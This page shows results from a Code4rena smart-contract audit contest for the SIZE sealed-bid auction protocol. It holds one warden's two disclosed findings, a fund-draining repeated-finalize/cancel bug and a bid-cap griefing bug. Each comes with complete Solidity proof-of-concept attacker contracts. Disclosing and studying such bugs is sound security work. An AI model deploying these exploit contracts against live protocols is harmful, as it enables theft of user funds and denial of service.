SIZE contest - HE1M's results

An on-chain sealed bid auction protocol.

General Information

Platform: Code4rena

Start Date: 04/11/2022

Pot Size: $42,500 USDC

Total HM: 9

Participants: 88

Period: 4 days

Judge: 0xean

Total Solo HM: 2

Id: 180

League: ETH

SIZE

Findings Distribution

Researcher Performance

Rank: 26/88

Findings: 2

Award: $158.70

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Trust

Also found by: 8olidity, HE1M, JTJabba, KIntern_NA, KingNFT, M4TZ1P, Picodes, PwnedNoMore, R2, V_B, bin2chen, cryptonue, cryptphi, fs0c, hansfriese

Awards

153.1035 USDC - $153.10

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-252

External Links

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L398

Vulnerability details

Impact

In summary, a seller create an auction, and bid on it with another address, and later finalize the auction. It is possible that the seller provide the parameters some how (during creating/bidding/finalizing) that the state of the auction will not be finalized at all. So, the seller can finalize the auction many times or cancel an already finalized auction. So, it will result in stealing fund from the protocol.

The attacker creates an auction for let's say 1000 USDC, so baseToken = USDC and totalBaseAmount = 1000. Moreover, the endTimestamp and startTimestamp are very close to each other, so it is almost impossible that anyone bid during this short time. The important parameters of creating an auction are:

  • reserveQuotePerBase = type(uint128).max;
  • minimumBidQuote = 1;

So, the attacker with another address calls bid(...) instantly after creating the auction. The important parameters of biding are:

  • quoteAmount: 1
  • baseAmount: 1

Then, during the RevealPeriod, the attacker calls reveal(...) with the required parameter:

  • auctionId : the auction id related to the attacker's created auction
  • privateKey: the correct private key corresponding to the auctions public key
  • finalizeData: zero length bytes

Then the attacker calls finalize(...) with the following parameters:

  • auctionId : the auction id related to the attacker's created auction
  • bidIndices: one-length array (because only the attacker with another address bided on this auction)
  • clearingBase: type(uint128).max
  • clearingQuote: type(uint128).max

In the body of finalize function, everything will go smoothly. To be more clearer:

Finally, the base tokens (1000 USDC - filledBase, where filledBase is equal to 1) will be transferred to the attacker (seller). https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L321

Note that the transfer and transferFrom calls in quoteToken are not important, because quoteToken is the attacker's address, and it easily ignores such calls.

So far, everything is fine and looks safe. But, the value of a.data.lowestQuote is set to clearingQuote which is type(uint128).max. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Now, we have an auction which is finalized, and all the base tokens are transferred to the attacker, while the lowestQuote is equal to type(uint128).max.

Now, the attacker can misuse the situation that lowestQuote = type(uint128).max with two approaches:

Approach 1:

The attacker again calls finalize. In this case, the modifier atState(idToAuction[auctionId], States.RevealPeriod) will be passed, because lowestQuote = type(uint128).max and block.timestamp <= a.timings.endTimestamp + 24 hours. So, again the base tokens (1000 USDC - filledBase) will be transferred to the attacker (seller).

All in all, if the attacker calls this function many times, s/he can steal all the funds in the protocol.

Approach 2:

The attacker calls cancelAuction(...) with the same auction id finalized in the previous steps. The condition on line 398 will be passed as the value of lowestQuote was set in the previous steps: https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L398

So, again the attacker receives the base token (1000 USDC): https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L409

All in all, the attacker deposited 1000 USDC for the auction, but received 2000 USDC.

Proof of Concept

In the provide PoC below, the attacker deploys a contract AttackerFirstAddress as a seller. This contract also deploys another contract AttackerSecondAddress as a bidder.

Approach 1:

  • First, the attacker calls createAuctionAndBid, in which the auction will be created, and then AttackerSecondAddress bids on that in the same transaction.
  • Second, the attacker waits for reveal period starts, and calls revealAndRepeatFinalize to repeat finalizing the auction until no USDC is left in the protocol.
pragma solidity 0.8.0; struct AuctionParameters { address baseToken; address quoteToken; uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 minimumBidQuote; bytes32 merkleRoot; Point pubKey; } struct Timings { uint32 startTimestamp; uint32 endTimestamp; uint32 vestingStartTimestamp; uint32 vestingEndTimestamp; uint128 cliffPercent; } struct Point { uint256 x; uint256 y; } interface IERC20 { function balanceOf(address account) external view returns (uint256); } interface ISize { function createAuction( AuctionParameters calldata auctionParams, Timings calldata timings, bytes calldata encryptedSellerPrivKey ) external returns (uint256); function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function finalize( uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote ) external; function reveal( uint256 auctionId, uint256 privateKey, bytes calldata finalizeData ) external; } contract AttackerFirstAddress { ISize iSize; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; uint256 auctionId; AttackerSecondAddress attackerSecondAddress; constructor(address _addr) { iSize = ISize(_addr); attackerSecondAddress = new AttackerSecondAddress(_addr); } function createAuctionAndBid( Point memory _sellerPubkey, // not important bytes calldata _encryptedSellerPrivKey, // not important bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { AuctionParameters memory ap; ap.baseToken = USDC; ap.quoteToken = address(this); ap.reserveQuotePerBase = type(uint128).max; ap.totalBaseAmount = 1000 * 10**6; ap.minimumBidQuote = 1; ap.merkleRoot = bytes32(0); // not important ap.pubKey = _sellerPubkey; // not important Timings memory ti; ti.startTimestamp = uint32(block.timestamp); ti.endTimestamp = ti.startTimestamp + 1; ti.vestingStartTimestamp = ti.endTimestamp + 1; // not important ti.vestingEndTimestamp = ti.vestingStartTimestamp + 1; // not important ti.cliffPercent = 100; // not important auctionId = iSize.createAuction(ap, ti, _encryptedSellerPrivKey); attackerSecondAddress.bid( auctionId, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey ); } //wait for the reveal period starts function revealAndRepeatFinalize(uint256 _privateKey) public { iSize.reveal(auctionId, _privateKey, ""); uint256[] memory bidIndices = new uint256[](1); bidIndices[0] = 0; while (IERC20(USDC).balanceOf(address(iSize)) > 1000*10**6) { iSize.finalize( auctionId, bidIndices, type(uint128).max, type(uint128).max ); } } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { return true; } } contract AttackerSecondAddress { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function bid( uint256 _auctionId, bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { iSize.bid( _auctionId, 1, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey, new bytes32[](0) ); } }

Approach 2:

  • First, the attacker calls createAuctionAndBid, in which the auction will be created, and then AttackerSecondAddress bids on that in the same transaction.
  • Second, the attacker waits for reveal period starts, and calls revealAndFinalizeAndCancel to finalize the auction and cancel it.
pragma solidity 0.8.0; struct AuctionParameters { address baseToken; address quoteToken; uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 minimumBidQuote; bytes32 merkleRoot; Point pubKey; } struct Timings { uint32 startTimestamp; uint32 endTimestamp; uint32 vestingStartTimestamp; uint32 vestingEndTimestamp; uint128 cliffPercent; } struct Point { uint256 x; uint256 y; } interface ISize { function createAuction( AuctionParameters calldata auctionParams, Timings calldata timings, bytes calldata encryptedSellerPrivKey ) external returns (uint256); function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function finalize( uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote ) external; function reveal( uint256 auctionId, uint256 privateKey, bytes calldata finalizeData ) external; function cancelAuction(uint256 auctionId) external; } contract AttackerFirstAddress { ISize iSize; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; uint256 auctionId; AttackerSecondAddress attackerSecondAddress; constructor(address _addr) { iSize = ISize(_addr); attackerSecondAddress = new AttackerSecondAddress(_addr); } function createAuctionAndBid( Point memory _sellerPubkey, // not important bytes calldata _encryptedSellerPrivKey, // not important bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { AuctionParameters memory ap; ap.baseToken = USDC; ap.quoteToken = address(this); ap.reserveQuotePerBase = type(uint128).max; ap.totalBaseAmount = 1000 * 10**6; ap.minimumBidQuote = 1; ap.merkleRoot = bytes32(0); // not important ap.pubKey = _sellerPubkey; // not important Timings memory ti; ti.startTimestamp = uint32(block.timestamp); ti.endTimestamp = ti.startTimestamp + 1; ti.vestingStartTimestamp = ti.endTimestamp + 1; // not important ti.vestingEndTimestamp = ti.vestingStartTimestamp + 1; // not important ti.cliffPercent = 100; // not important auctionId = iSize.createAuction(ap, ti, _encryptedSellerPrivKey); attackerSecondAddress.bid( auctionId, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey ); } //wait for the reveal period starts function revealAndFinalizeAndCancel(uint256 _privateKey) public { iSize.reveal(auctionId, _privateKey, ""); uint256[] memory bidIndices = new uint256[](1); bidIndices[0] = 0; iSize.finalize( auctionId, bidIndices, type(uint128).max, type(uint128).max ); iSize.cancelAuction(auctionId); } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { return true; } } contract AttackerSecondAddress { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function bid( uint256 _auctionId, bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { iSize.bid( _auctionId, 1, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey, new bytes32[](0) ); } }

Tools Used

Cancelling an auction should not just rely on the following piece of code:

if (a.data.lowestQuote != type(uint128).max) { revert InvalidState(); }

#0 - trust1995

2022-11-09T00:31:31Z

Great writeup, dup of #252

#1 - c4-judge

2022-11-09T15:06:33Z

0xean marked the issue as duplicate

#2 - c4-judge

2022-12-06T00:22:49Z

0xean marked the issue as satisfactory

Awards

5.604 USDC - $5.60

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
edited-by-warden
duplicate-237

External Links

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415

Vulnerability details

Impact

In summary, it is possible to bid and cancel the bid on an auction. So, the number of bidder will be incremented by one (although it is conceled). Doing so 1000 times, will prevent other users to bid on this auction.

Suppose an auction is already created. A malicious user calls 1000 times the function bid(...) with the required parameters. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122

So, for each call, one bidder will be pushed to the array EncryptedBid[]. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L161

Then the malicious user calls cancelBid(...) 1000 times to take the funds back. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415

By doing so, the number of bidders reaches to 1000, so no bidders can bid on this auction anymore, because it is reached to the limit. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157

The malicious user only pays the gas for these transactions, and will not lose any money because during cancelling bids the fund is transferred back to the malicious user.

The vulnerability is that in the function cancelBid(...), the bid is not removed from the number of bidders in the auction.

Proof of Concept

pragma solidity 0.8.0; struct Point { uint256 x; uint256 y; } interface ISize { function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function cancelBid(uint256 auctionId, uint256 bidIndex) external; } contract SizePoC { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function attack(uint256 _auctionId, uint128 _quoteAmount) public { Point memory tempPoint; tempPoint.x = 0; tempPoint.y = 0; for (uint256 i = 0; i < 1000; ++i) { iSize.bid( _auctionId, _quoteAmount, bytes32(0), tempPoint, bytes32(0), "0x00", new bytes32[](0) ); iSize.cancelBid(_auctionId, i); } } }

Tools Used

The number of active/valid bidders should be tracked, so during cancelling a bid, it can be easily removed.

#0 - trust1995

2022-11-09T00:33:03Z

Dup of #238

#1 - c4-judge

2022-11-09T15:39:33Z

0xean marked the issue as duplicate

#2 - c4-judge

2022-12-06T00:22:50Z

0xean marked the issue as satisfactory

#3 - c4-judge

2022-12-06T00:31:07Z

0xean changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter